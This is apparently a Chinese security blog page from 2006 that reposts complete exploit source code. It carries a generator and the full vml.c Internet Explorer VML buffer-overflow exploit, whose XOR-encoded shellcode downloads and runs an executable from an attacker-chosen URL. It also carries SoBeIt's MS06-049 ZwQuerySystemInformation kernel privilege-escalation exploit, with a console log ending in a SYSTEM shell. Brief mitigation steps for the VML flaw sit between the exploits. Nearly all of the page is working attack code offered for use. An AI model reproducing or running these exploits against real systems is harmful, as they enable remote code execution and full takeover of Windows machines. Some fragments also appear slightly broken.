"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9D\xC0"
"\x71\xC9\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x98\xC0\x71\xA4\x99\x99\x99\x1A\x5F\x8A\xCF\xDF\x19\xA7\x19"
"\xEC\x63\x19\xAF\x19\xC7\x1A\x75\xB9\x12\x45\xF3\xB9\xCA\x66\xCE"
"\x75\x5E\x9D\x9A\xC5\xF8\xB7\xFC\x5E\xDD\x9A\x9D\xE1\xFC\x99\x99"
"\xAA\x59\xC9\xC9\xCA\xCF\xC9\x66\xCE\x65\x12\x45\xC9\xCA\x66\xCE"
"\x69\xC9\x66\xCE\x6D\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA"
"\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\xBF\x66\x66\x66"

"\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDE"
"\xFC\xED\xCA\xE0\xEA\xED\xFC\xF4\xDD\xF0\xEB\xFC\xFA\xED\xF6\xEB"
"\xE0\xD8\x99\xCE\xF0\xF7\xDC\xE1\xFC\xFA\x99\xDC\xE1\xF0\xED\xCD"
"\xF1\xEB\xFC\xF8\xFD\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB"
"\xE0\xD8\x99\xEC\xEB\xF5\xF4\xF6\xF7\x99\xCC\xCB\xD5\xDD\xF6\xEE"
"\xF7\xF5\xF6\xF8\xFD\xCD\xF6\xDF\xF0\xF5\xFC\xD8\x99";

// HTML Header
char * header =
"<html xmlns:v=\"urn:schemas-microsoft-com:vml\">\n"
"<head>\n"
"<title>XSec.org</title>\n"
"<style>\n"
"v\\:* { behavior: url(#default#VML); }\n"
"</style>\n"
"</head>\n"
"<body>\n"
"<v:rect style=\"width:20pt;height:20pt\" fillcolor=\"red\">\n"
"<v:fill method=\"";

char * footer =
"\"/>\n"
"</v:rect>\n"
"</body>\n"
"</html>\n"
;

// convert string to NCR
void convert2ncr(unsigned char * buf, int size)
{
 int i=0;
 unsigned int ncr = 0;

 for(i=0; i<size; i+=2)
 {
 ncr = (buf[i+1] << 8) + buf[i];

 fprintf(fp, "&#%d;", ncr);
 }
}

void create(char* url)
{
 unsigned char buf[1024] = {0};
 unsigned char burl[255] = {0};
 int sc_len = 0;
 int psize = 0;
 int i = 0;

 unsigned int nop = 0x4141;
 DWORD jmp = 0xeb06eb06;

 fp = fopen("test.html", "w+b");

 if(!fp)
 {
 return;
 }

 // print html header
 fprintf(fp, "%s", header);
 fflush(fp);

 for(i=0; i<NOPSIZE; i++)
 {
 fprintf(fp, "A");
 }

 fflush(fp);

 // print shellcode
 memset(buf, 0x90, sizeof(buf));

 memcpy(buf, &ret, 4);
 psize = 4+8+0x10;

 memcpy(buf+psize, sh4llcode, sizeof(sh4llcode)-1);//memcpy(buf+psize, dc, sizeof(dc)-1);
 psize += sizeof(sh4llcode)-1;

 memcpy(buf+psize, url, strlen(url));//memcpy(buf+psize, dc, sizeof(dc)-1);
 psize += strlen(url);

 BYTE end = 0x80;
 memcpy(buf+psize, &end, 1);
 psize += 1;
 // print NCR
 convert2ncr(buf, psize);

 // print html footer
 fprintf(fp, "%s", footer);
 fflush(fp);

}

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)

 DialogBox(hInstance,(LPCTSTR)IDD_DIALOG1,NULL,(DLGPROC)DialogProc);
 return 0;
}

INT_PTR CALLBACK DialogProc(HWND hwndDlg,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
switch (uMsg)
 {
 case WM_INITDIALOG:
 hdlg = hwndDlg;
 return true;

 case WM_COMMAND:
 if (LOWORD(wParam) == IDOK)
 {
 char url[256];
 ZeroMemory(url,256);
 GetDlgItemText(hdlg,IDC_EDIT1,url,256);
 create(url);
 MessageBox(hwndDlg,"恭喜,test.html已生成!","提示",MB_ICONINFORMATION);
 }

 if (LOWORD(wParam) == IDCANCEL)
 {
 EndDialog(hwndDlg, LOWORD(wParam));
 PostQuitMessage(0);
 }
 break;
 }
 return 0;
}

下载地址:http://forum.eviloctal.com/job-htm-action-download-pid-tpc-tid-24858-aid-7453.html

分类: 矩阵毒刺 标签:

Internet Explorer VML Overflow Down Exec Exploit

2006年9月22日 没有评论 48 views

临时解决方法提供:sunwear

各位还是用临时解决方案吧
该漏洞现在还没补丁

1、解除vgx.dll的注册:点击“开始”菜单,选择“运行”,在其中输入下面的命令:
regsvr32 -u "%ProgramFiles%\Common Files\Microsoft Shared\VGX\vgx.dll"
然后点击“确定”,在随后出现的弹出窗口中点击“确定”按钮。
在微软发布补丁后,如果想恢复注册,只需再用上述方法运行下面的命令即可:
regsvr32 "%ProgramFiles%\Common Files\Microsoft Shared\VGX\vgx.dll"

2、尽量使用非IE内核的网络浏览器,如Firefox、Opera等。


/*
*-----------------------------------------------------------------------
*
* vml.c - Internet Explorer VML Buffer Overflow Download Exec Exploit
* !!! 0day !!! Public Version !!!
*
* Copyright (C) 2006 XSec All Rights Reserved.
*
* Author : nop
* : nop#xsec.org
* : http://www.xsec.org
* :
* Tested : Windows 2000 Server CN
* : + Internet Explorer 6.0 SP1
* :
* Complie : cl vml.c
* :
* Usage : d:\>vml
* :
* : Usage: vml <URL> [htmlfile]
* :
* : d:\>vml http://xsec.org/xxx.exe xxx.htm
* :
*
*------------------------------------------------------------------------
*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

FILE *fp = NULL;
char *file = "xsec.htm";
char *url = NULL;

#define NOPSIZE 260
#define MAXURL 60

//DWORD ret = 0x7Ffa4512; // call esp for CN
DWORD ret = 0x7800CCDD; // call esp for All win2k

// Search Shellcode
unsigned char dc[] =
"\x8B\xDC\xBE\x6F\x6F\x6F\x70\x4E\xBF\x6F\x30\x30\x70\x4F\x43\x39"
"\x3B\x75\xFB\x4B\x80\x33\xEE\x39\x73\xFC\x75\xF7\xFF\xD3";

// Shellcode Start
unsigned char dcstart[] =
"noop";

// Download Exec Shellcode XOR with 0xee
unsigned char sc[] =
"\x07\x4B\xEE\xEE\xEE\xB1\x8A\x4F\xDE\xEE\xEE\xEE\x65\xAE\xE2\x65"
"\x9E\xF2\x43\x65\x86\xE6\x65\x19\x84\xEA\xB7\x06\xAB\xEE\xEE\xEE"
"\x0C\x17\x86\x81\x80\xEE\xEE\x86\x9B\x9C\x82\x83\xBA\x11\xF8\x7B"
"\x06\xDE\xEE\xEE\xEE\x6D\x02\xCE\x65\x32\x84\xCE\xBD\x11\xB8\xEA"
"\x29\xEA\xED\xB2\x8F\xC0\x8B\x29\xAA\xED\xEA\x96\x8B\xEE\xEE\xDD"
"\x2E\xBE\xBE\xBD\xB9\xBE\x11\xB8\xFE\x65\x32\xBE\xBD\x11\xB8\xE6"
"\x84\xEF\x11\xB8\xE2\xBF\xB8\x65\x9B\xD2\x65\x9A\xC0\x96\xED\x1B"
"\xB8\x65\x98\xCE\xED\x1B\xDD\x27\xA7\xAF\x43\xED\x2B\xDD\x35\xE1"
"\x50\xFE\xD4\x38\x9A\xE6\x2F\x25\xE3\xED\x34\xAE\x05\x1F\xD5\xF1"
"\x9B\x09\xB0\x65\xB0\xCA\xED\x33\x88\x65\xE2\xA5\x65\xB0\xF2\xED"
"\x33\x65\xEA\x65\xED\x2B\x45\xB0\xB7\x2D\x06\xB8\x11\x11\x11\x60"
"\xA0\xE0\x02\x2F\x97\x0B\x56\x76\x10\x64\xE0\x90\x36\x0C\x9D\xD8"
"\xF4\xC1\x9E";

// Shellcode End
unsigned char dcend[] =
"n00p";

// HTML Header
char * header =
"<html xmlns:v=\"urn:schemas-microsoft-com:vml\">\n"
"<head>\n"
"<title>XSec.org</title>\n"
"<style>\n"
"v\\:* { behavior: url(#default#VML); }\n"
"</style>\n"
"</head>\n"
"<body>\n"
"<v:rect style=\"width:20pt;height:20pt\" fillcolor=\"red\">\n"
"<v:fill method=\"";

char * footer =
"\"/>\n"
"</v:rect>\n"
"</body>\n"
"</html>\n"
;

// convert string to NCR
void convert2ncr(unsigned char * buf, int size)
{
  int i=0;
  unsigned int ncr = 0;

  for(i=0; i<size; i+=2)
  {
    ncr = (buf[i+1] << 8) + buf[i];

    fprintf(fp, "&#%d;", ncr);
  }
}

void main(int argc, char **argv)
{
  unsigned char buf[1024] = {0};
  unsigned char burl[255] = {0};
  int sc_len = 0;
  int psize = 0;
  int i = 0;

  unsigned int nop = 0x4141;
  DWORD jmp = 0xeb06eb06;

  if (argc < 2)
  {
    printf("Windows VML Download Exec Exploit\n");
    printf("Code by nop nop#xsec.org, Welcome to http://www.xsec.org\n");
    //printf("!!! 0Day !!! Please Keep Private!!!\n");
    printf("\r\nUsage: %s <URL> [htmlfile]\r\n\n", argv[0]);
    exit(1);
  }

  url = argv[1];
  if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) <
      10 || strlen(url) > MAXURL)
  {
    printf("[-] Invalid url. Must start with 'http://','ftp://' and < %d bytes.\n", MAXURL);
    return;
  }

  printf("[+] download url:%s\n", url);

  if(argc >=3) file = argv[2];

  printf("[+] exploit file:%s\n", file);

  fp = fopen(file, "w+b");
  //fp = fopen(file, "w");
  if(!fp)
  {
    printf("[-] Open file error!\n");
    return;
  }

  // print html header
  fprintf(fp, "%s", header);
  fflush(fp);

  for(i=0; i<NOPSIZE; i++)
  {
    //fprintf(fp, "&#%d;", nop);
    fprintf(fp, "A");
  }

  fflush(fp);

  // print shellcode
  memset(buf, 0x90, sizeof(buf));
  //memset(buf, 0x90, NOPSIZE*2);

  memcpy(buf, &ret, 4);
  psize = 4+8+0x10;

  memcpy(buf+psize, dc, sizeof(dc)-1);
  psize += sizeof(dc)-1;

  memcpy(buf+psize, dcstart, 4);
  psize += 4;

  sc_len = sizeof(sc)-1;
  memcpy(buf+psize, sc, sc_len);
  psize += sc_len;

  // print URL
  memset(burl, 0, sizeof(burl));
  strncpy(burl, url, 60);

  for(i=0; i<strlen(url)+1; i++)
  {
    burl[i] = buf[i] ^ 0xee;
  }

  memcpy(buf+psize, burl, strlen(url)+1);
  psize += str
len(url)+1;

  memcpy(buf+psize, dcend, 4);
  psize += 4;

  // print NCR
  convert2ncr(buf, psize);

  printf("[+] buff size %d bytes\n", psize);

  // print html footer
  fprintf(fp, "%s", footer);
  fflush(fp);

  printf("[+] exploit write to %s success!\n", file);
}

// milw0rm.com [2006-09-20]

分类: 矩阵毒刺 标签:

MS06-049 Windows ZwQuerySystemInformation Local Exploit

2006年9月21日 没有评论 75 views

/*
MS06-049 Windows ZwQuerySystemInformation Local Privilege Escalation Vulnerability Exploit
created by SoBeIt

Main file of exploit

Tested on:

Windows 2000 PRO SP4 Chinese
Windows 2000 PRO SP4 Rollup 1 Chinese
Windows 2000 PRO SP4 English
Windows 2000 PRO SP4 Rollup 1 English

Usage:ms06-049.exe
*/

#include <windows.h>
#include <stdio.h>

#define NTSTATUS int
#define ProcessBasicInformation 0
#define SystemModuleInformation 11

typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);
typedef NTSTATUS (NTAPI *ZWQUERYINFORMATIONPROCESS)(HANDLE, ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);

ZWVDMCONTROL ZwVdmControl;
ZWQUERYINFORMATIONPROCESS ZwQueryInformationProcess;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;

typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
ULONG AffinityMask;
ULONG BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;

typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknow;
USHORT LoadCount;
USHORT ModuleNameOffset;
char ImageName[256]; 
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

unsigned char kfunctions[64][64] = 
{
//ntoskrnl.exe
{"ZwTerminateProcess"},
{""},
};

unsigned char shellcode[] = 
"\x90\x60\x9c\xe9\xd1\x00\x00\x00\x5f\x4f\x47\x33\xc0\x66\x81\x3f"
"\x90\xcc\x75\xf6\x40\x40\x66\x81\x3c\x07\xcc\x90\x75\xec\x83\xc7"
"\x04\xbe\x38\xf0\xdf\xff\x8b\x36\xad\xad\x48\x81\x38\x4d\x5a\x90"
"\x00\x75\xf7\x95\x8b\xf7\x6a\x01\x59\xe8\x56\x00\x00\x00\xe2\xf9"
"\xbb\x24\xf1\xdf\xff\x8b\x1b\x8b\x43\x44\xb9\x08\x00\x00\x00\xe8"
"\x2c\x00\x00\x00\x8b\xd0\x8b\x4e\x04\xe8\x22\x00\x00\x00\x8b\x8a"
"\x2c\x01\x00\x00\x89\x88\x2c\x01\x00\x00\x56\x8b\x7e\x0c\x8b\x4e"
"\x10\x8b\x76\x08\xf3\xa4\x5e\x33\xc0\x50\x50\xff\x16\x9d\x61\xc3"
"\x8b\x80\xa0\x00\x00\x00\x2d\xa0\x00\x00\x00\x39\x88\x9c\x00\x00"
"\x00\x75\xed\xc3\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56"
"\x8b\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe"
"\x10\x85\xd2\x74\x08\xc1\xcb\x07\x03\xda\x40\xeb\xf1\x3b\x1f\x75"
"\xe7\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd"
"\x8b\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\x2a\xff\xff\xff\x90\x90"

"\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc";

void ErrorQuit(char *msg)
{
printf("%s:%x\n", msg, GetLastError());
ExitProcess(0);
}

ULONG ComputeHash(char *ch)
{
ULONG ret = 0;

while(*ch)
{
ret = ((ret << 25) | (ret >> 7)) + *ch++;
}

return ret;
}

ULONG RVA2Offset(ULONG RVA, PIMAGE_SECTION_HEADER pSectionHeader, ULONG Sections)

ULONG i;

if(RVA < pSectionHeader[0].PointerToRawData)
return RVA;

for(i = 0; i < Sections; i++)

if(RVA >= pSectionHeader[i].VirtualAddress &&
RVA < pSectionHeader[i].VirtualAddress + pSectionHeader[i].SizeOfRawData) 
return (RVA - pSectionHeader[i].VirtualAddress + pSectionHeader[i].PointerToRawData);
}

return 0;
}

ULONG Offset2RVA(ULONG Offset, PIMAGE_SECTION_HEADER pSectionHeader, ULONG Sections)

ULONG i;

if(Offset < pSectionHeader[0].PointerToRawData)
return Offset;

for(i = 0; i < Sections; i++)
{
if(Offset >= pSectionHeader[i].PointerToRawData &&
Offset < pSectionHeader[i].PointerToRawData + pSectionHeader[i].SizeOfRawData)
return (Offset - pSectionHeader[i].PointerToRawData + pSectionHeader[i].VirtualAddress);
}

return 0;
}

void GetFunction()
{
HANDLE hNtdll;

hNtdll = LoadLibrary("ntdll.dll");
if(hNtdll == NULL)
ErrorQuit("LoadLibrary failed.\n");

ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
if(ZwVdmControl == NULL)
ErrorQuit("GetProcAddress failed.\n");

ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "ZwQueryInformationProcess");
if(ZwQueryInformationProcess == NULL)
ErrorQuit("GetProcAddress failed.\n");

ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
if(ZwQuerySystemInformation == NULL)
ErrorQuit("GetProcessAddress failed.\n");

FreeLibrary(hNtdll);
}

ULONG GetKernelBase()
{
ULONG i, Byte, ModuleCount;
PVOID pBuffer;
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
PCHAR pName;

ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);

if((pBuffer = malloc(Byte)) == NULL)
ErrorQuit("malloc failed.\n");

if(ZwQuerySystemInformation(SystemModuleInformation, pBuffer, Byte, &Byte))
ErrorQuit("ZwQuerySystemInformation failed\n");

ModuleCount = *(PULONG)pBuffer;
pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
for(i = 0; i < ModuleCount; i++)
{
if((pName = strstr(pSystemModuleInformation->ImageName, "ntoskrnl.exe")) != NULL)
{
free(pBuffer); 
return (ULONG)pSystemModuleInformation->Base;
}

pSystemModuleInformation++;
}

free(pBuffer);
return 0;
}

int main(int argc, char *argv[])
{
PULONG pStoreBuffer, pNamesArray, pFunctionsArray, pShellcode, pRestoreBuffer;
PUCHAR pBase;
PCHAR pName;
PUSHORT pOrdinals;
PIMAGE_NT_HEADERS pHeader;
PIMAGE_EXPORT_DIRECTORY pExport;
PIMAGE_SECTION_HEADER pSectionHeader;
PROCESS_BASIC_INFORMATION pbi;
SYSTEM_MODULE_INFORMATION smi;
char DriverName[256];
ULONG Byte, FileSize, len, i, j, k, Count, BaseAddress, Value, KernelBase, buf[64], HookAddress, Temp, Sections;
USHORT index;
HANDLE hDevice, hFile, hFileMap;

printf("\n MS06-049 Windows ZwQuerySystemInformation Local Privilege Escalation Vulnerability Exploit \n\n");
printf("\t create by SoBeIt. \n\n");
if(argc != 1)
{
printf(" Usage:%s \n\n", argv[0]);
return 1;
}

GetFunction();

if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, s
izeof(PROCESS_BASIC_INFORMATION), NULL))
ErrorQuit("ZwQueryInformationProcess failed\n");

KernelBase = GetKernelBase();
if(!KernelBase)
ErrorQuit("Unable to get kernel base address.\n");

printf("Kernel base address: %x\n", KernelBase);

pRestoreBuffer = malloc(0x100);
if(pRestoreBuffer == NULL)
ErrorQuit("malloc failed.\n");

pStoreBuffer = VirtualAlloc(NULL, 0x1001000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(pStoreBuffer == NULL)
ErrorQuit("VirtualAlloc failed.\n");

printf("Allocated address:%x\n", pStoreBuffer);

if(!GetSystemDirectory((PUCHAR)pStoreBuffer, 256))
ErrorQuit("GetSystemDirectory failed.\n");

strcat((PUCHAR)pStoreBuffer, "\\ntoskrnl.exe");
hFile = createFile((PUCHAR)pStoreBuffer, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
{
hFile = createFile("ntoskrnl.exe", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
ErrorQuit("createFile failed.\n");
}

if((FileSize = GetFileSize(hFile, NULL)) == 0xffffffff)
ErrorQuit("GetFileSize failed.\n");

printf("File size:%x\n", FileSize);
pBase = (PUCHAR)VirtualAlloc(NULL, FileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(pBase == NULL)
ErrorQuit("VirtualAlloc failed.\n");

if(!ReadFile(hFile, pBase, FileSize, &Byte, NULL))
ErrorQuit("ReadFile failed.\n");

pHeader = (PIMAGE_NT_HEADERS)(pBase + ((PIMAGE_DOS_HEADER)pBase)->e_lfanew);
pSectionHeader = (PIMAGE_SECTION_HEADER)((PUCHAR)(&pHeader->OptionalHeader) + pHeader->FileHeader.SizeOfOptionalHeader);
Sections= pHeader->FileHeader.NumberOfSections;

pExport = (PIMAGE_EXPORT_DIRECTORY)(pBase + 
RVA2Offset(pHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress,
pSectionHeader,
Sections
));

pNamesArray = (PULONG)(pBase + 
RVA2Offset(pExport->AddressOfNames,
pSectionHeader,
Sections));

pFunctionsArray = (PULONG)(pBase + 
RVA2Offset(pExport->AddressOfFunctions,
pSectionHeader,
Sections));

pOrdinals = (PUSHORT)(pBase + 
RVA2Offset(pExport->AddressOfNameOrdinals,
pSectionHeader,
Sections));

len = strlen("NtVdmControl");
for(i = 0; i < pExport->NumberOfNames; i++)
{
pName = pBase + RVA2Offset(pNamesArray[i], pSectionHeader, Sections);
if(!strncmp(pName, "NtVdmControl", len))
break;
}

if(i > pExport->NumberOfFunctions)
ErrorQuit("Some error occured.\n");

index = pOrdinals[i]; 
HookAddress = pFunctionsArray[index] + KernelBase;
memcpy((PUCHAR)pRestoreBuffer, pBase + pFunctionsArray[index] - 1, 0x10);
printf("%s Address:%x\n", "NtVdmControl", HookAddress);

pShellcode = (PULONG)shellcode;
for(k = 0; pShellcode[k++] != 0x90cccc90; )
;

for(j = 0; kfunctions[j][0] != '\x0'; j++)
buf[j] = ComputeHash(kfunctions[j]);

buf[j++] = pbi.InheritedFromUniqueProcessId;
buf[j++] = (ULONG)pRestoreBuffer;
buf[j++] = HookAddress - 1;
buf[j++] = 0x10; 

memcpy((char *)(pShellcode + k), (char *)buf, j * 4);

Temp = 0;
for(i = 0; i < 7; i++)
{
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
Byte = Byte / sizeof(SYSTEM_MODULE_INFORMATION);
Temp += Byte;
}

Byte = Temp / 7;
printf("Single value:%x\n", Byte);
Value = (0xe9 << 8) & 0xff00;
printf("Jump value:%x\n", Value);
printf("Base value:%x\n", pRestoreBuffer[0]);
for(Count = 0; ; Count++)
{
if(((pRestoreBuffer[0] + Count * Byte) & 0xff00) == Value)
break; 
}

printf("Need value generated:%x\n", pRestoreBuffer[0] + Count * Byte);
printf("Count value:%x\n", Count);
for(i = 0; i < Count; i ++)
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)(HookAddress - 1), 0, &Byte);

Temp = 0;
for(i = 0; i < 7; i++)
{
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
Byte = Byte / sizeof(SYSTEM_MODULE_INFORMATION);
Temp += Byte;
}

Byte = Temp / 7;
printf("Single value:%x\n", Byte);
Value = (((ULONG)pStoreBuffer + 0x800000 - HookAddress) >> 16) & 0xfff0;
printf("Jump value:%x\n", Value);
printf("Base value:%x\n", pRestoreBuffer[1]);
for(Count = 0; ; Count++)
{
if(((pRestoreBuffer[1] + Count * Byte) & 0xfff0) == Value)
break;
}

printf("Need value generated:%x\n", pRestoreBuffer[1] + Count * Byte);
printf("Count value:%x\n", Count);
for(i = 0; i < Count; i ++)
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)(HookAddress + 3), 0, &Byte);

memset(pStoreBuffer, 0x90, 0x1001000);
memcpy((PUCHAR)pStoreBuffer + 0x1000000, shellcode, sizeof(shellcode));

CloseHandle(hFile);

printf("Exploitation finished.\n");
ZwVdmControl(0, NULL);

return 1;
}



Usage:

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\>ms06-049

MS06-049 Windows ZwQuerySystemInformation Local Privilege Escalation Vulnerabil
ity Exploit

create by SoBeIt.

Kernel base address: 80400000
Allocated address:420000
File size:1a3b10
NtVdmControl Address:80512dae
Single value:5a
Jump value:e900
Base value:ec8b55cc
Need value generated:ec8be91a
Count value:1a3
Single value:5a
Jump value:8070
Base value:7868ff6a
Need value generated:78698070
Count value:16f
Exploitation finished.

C:\>whoami
NT AUTHORITY\SYSTEM

C:\>

如果是FAT文件系统,直接运行即可。如果是NTFS文件系统,需要把一份当前内核对应的ntoskrnl.exe上传到与exploit同一目录下使用。

分类: 矩阵毒刺 标签: